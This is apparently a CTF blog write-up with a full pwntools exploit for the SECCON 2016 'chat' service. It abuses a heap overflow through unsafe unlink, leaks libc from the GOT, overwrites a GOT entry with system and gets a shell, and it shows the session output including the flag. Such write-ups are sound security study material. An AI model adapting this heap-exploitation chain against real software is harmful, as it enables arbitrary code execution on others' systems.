요약: change name 할때 16바이트 힙오버. next chunk 메타데이타를 덮을수있음. unsafe_unlink 써서 임의메모리쓰기해서 익스.
summary: 16byte heap overflow in change_name. use unsafe_unlink and get write-what-where.
from pwn import *
context.arch = 'amd64' # i386 / arm
r = remote('chat.pwn.seccon.jp', 26895)
raw_input('attach')
print r.recvuntil('menu > ')
def adduser(name):
r.sendline('1')
print r.recvuntil('name > ')
r.sendline(name)
print r.recvuntil('menu > ')
# for heap address leak.
adduser('1111')
adduser('2222')
adduser('zzzzzzzzccc') # this is normal user.
# make normal 0x20 chunk. this will become fake chunk for unsafe unlink.
adduser('c'*28) # 0x6030e0 + 0x18 is the object pointer (c).
# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header.
adduser('daehee')
def deluser(name, getleak):
r.sendline('2')
print r.recvuntil('name > ')
r.sendline(name)
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
r.sendline('\xff')
if getleak==0:
print r.recvuntil('menu > ')
else:
sleep(1)
leak = r.recv(8192)
return int(leak.split('Bye, ')[1].split('\n')[0][::-1].encode('hex'), 16)
def change_name(name, payload):
r.sendline('2')
print r.recvuntil('name > ')
r.sendline(name)
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
r.sendline(payload)
print r.recvuntil('menu >> ')
r.sendline('0')
print r.recvuntil('menu > ')
def tweet(name, msg):
r.sendline('2')
print r.recvuntil('name > ')
r.sendline(name)
print r.recvuntil('menu >> ')
r.sendline('4')
print r.recvuntil('message >> ')
r.sendline(msg)
print r.recvuntil('menu >> ')
r.sendline('0')
print r.recvuntil('menu > ')
heap_base = deluser('2222', 1) - 0x10
pfake_chunk_addr = heap_base + 0xb8
deluser('1111', 0)
print hex(heap_base)
payload = 'A'*24
tweet('zzzzzzzzccc', payload)
# overwrite tweet chunk metadata
payload = 'e'*24
payload += '\xa0'
change_name('daehee', payload)
payload2 = 'e'*23
change_name(payload, payload2)
payload3 = 'e'*22
change_name(payload2, payload3)
payload4 = 'e'*21
change_name(payload3, payload4)
payload5 = 'e'*20
change_name(payload4, payload5)
payload6 = 'e'*19
change_name(payload5, payload6)
payload7 = 'e'*18
change_name(payload6, payload7)
payload8 = 'e'*17
change_name(payload7, payload8)
payload9 = 'e'*16 + '\x60' # 0x60 is the offset for previous fake chunk.
change_name(payload8, payload9)
# setup fake chunk FD(0x6030e0), BK(0x6030e8)
payload = 'c'*24
payload += pack(pfake_chunk_addr+8)[:4]
change_name('c'*28, payload)
payload2 = 'c'*23
change_name(payload, payload2)
payload3 = 'c'*22
change_name(payload2, payload3)
payload4 = 'c'*21
change_name(payload3, payload4)
payload5 = 'c'*20
change_name(payload4, payload5)
payload6 = 'c'*19
change_name(payload5, payload6)
payload7 = 'c'*16
payload7 += pack(pfake_chunk_addr)[:4]
change_name(payload6, payload7)
change_name(payload7, 'ccc')
# login as zzzzzzzzccc and trigger free!
r.sendline('2')
print r.recvuntil('name > ')
r.sendline('zzzzzzzzccc')
print r.recvuntil('menu >> ')
r.sendline('6')
print r.recvuntil('id >> ')
r.sendline('1')
print r.recvuntil('menu >> ')
r.sendline('0')
# login as ccc and leak GOT.
print r.recvuntil('menu > ')
r.sendline('2')
print r.recvuntil('name > ')
r.sendline('ccc')
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
r.sendline('d'*24 + pack(0x603070)[:4])
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
r.sendline('give me leak')
sleep(.5)
leak = r.recv(8192)
libc_malloc = int(leak.split('Bye, ')[1][:6][::-1].encode('hex'), 16)
print hex(libc_malloc)
# defragment heap...
adduser('F'*30)
adduser('G'*30)
# final stage
adduser('xxxxxxxxggg') # this is normal user.
# make normal 0x20 chunk. this will become fake chunk for unsafe unlink.
adduser('g'*28) # 0x6030e0 + 0x18 is the object pointer (c).
# make bug small chunk for oveflow.. it will corrupt the 0x98 chunk header.
adduser('hahah')
pfake_chunk_addr = heap_base + 0x158
payload = 'B'*24
tweet('xxxxxxxxggg', payload)
raw_input('zzzzzzzzz')
# overwrite tweet chunk metadata
payload = 'i'*24
payload += '\xa0'
change_name('hahah', payload)
payload2 = 'i'*23
change_name(payload, payload2)
payload3 = 'i'*22
change_name(payload2, payload3)
payload4 = 'i'*21
change_name(payload3, payload4)
payload5 = 'i'*20
change_name(payload4, payload5)
payload6 = 'i'*19
change_name(payload5, payload6)
payload7 = 'i'*18
change_name(payload6, payload7)
payload8 = 'i'*17
change_name(payload7, payload8)
payload9 = 'i'*16 + '\x60' # 0x60 is the offset for previous fake chunk.
change_name(payload8, payload9)
# setup fake chunk FD(0x6030e0), BK(0x6030e8)
payload = 'g'*24
payload += pack(pfake_chunk_addr+8)[:4]
change_name('g'*28, payload)
payload2 = 'g'*23
change_name(payload, payload2)
payload3 = 'g'*22
change_name(payload2, payload3)
payload4 = 'g'*21
change_name(payload3, payload4)
payload5 = 'g'*20
change_name(payload4, payload5)
payload6 = 'g'*19
change_name(payload5, payload6)
payload7 = 'g'*16
payload7 += pack(pfake_chunk_addr)[:4]
change_name(payload6, payload7)
change_name(payload7, 'ggg')
# login as zzzzzzzzccc and trigger free!
r.sendline('2')
print r.recvuntil('name > ')
r.sendline('xxxxxxxxggg')
print r.recvuntil('menu >> ')
r.sendline('6')
print r.recvuntil('id >> ')
r.sendline('2')
print r.recvuntil('menu >> ')
r.sendline('0')
# login as ccc and overwrite GOT.
print r.recvuntil('menu > ')
r.sendline('2')
print r.recvuntil('name > ')
r.sendline('ggg')
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
r.sendline('\x40'*24 + pack(0x60302a)[:4])
print r.recvuntil('menu >> ')
r.sendline('7')
print r.recvuntil('name >> ')
system = libc_malloc - 0x3c0d0
print hex(system)
raw_input('ready')
r.sendline( 'A'*14 + pack(system) )
print r.recv(8192)
r.sendline('sh;')
# get shell?
r.interactive()
...
Service Menu
1 : Show TimeLine 2 : Show DM 3 : Show UsersList
4 : Send PublicMessage 5 : Send DirectMessage
6 : Remove PublicMessage 7 : Change UserName
0 : Sign Out
menu >>
name >>
Done.
1 : Show TimeLine 2 : Show DM 3 : Show UsersList
4 : Send PublicMessage 5 : Send DirectMessage
6 : Remove PublicMessage 7 : Change UserName
0 : Sign Out
menu >>
name >>
0x7f6864de4590
ready
Done.
[*] Switching to interactive mode
1 : Show TimeLine 2 : Show DM 3 : Show UsersList
4 : Send PublicMessage 5 : Send DirectMessage
6 : Remove PublicMessage 7 : Change UserName
0 : Sign Out
menu >> $ id
uid=10749 gid=1001(chat) groups=1001(chat)
$ ls
chat
flag.txt
run.sh
$ cat flag.txt
SECCON{51mpl3_ch47_l1k3_7w1*73*}
$
'Games > CTF' 카테고리의 다른 글
SECCON 2016 logger (0) | 2016.12.11 |
---|---|
SECCON 2016 jumper (0) | 2016.12.11 |
Tokyo Westerns MMA CTF 2016 interpreter (0) | 2016.09.05 |
Tokyo Westerns MMA CTF 2016 shadow (0) | 2016.09.05 |
BKP2016 segsh (0) | 2016.06.24 |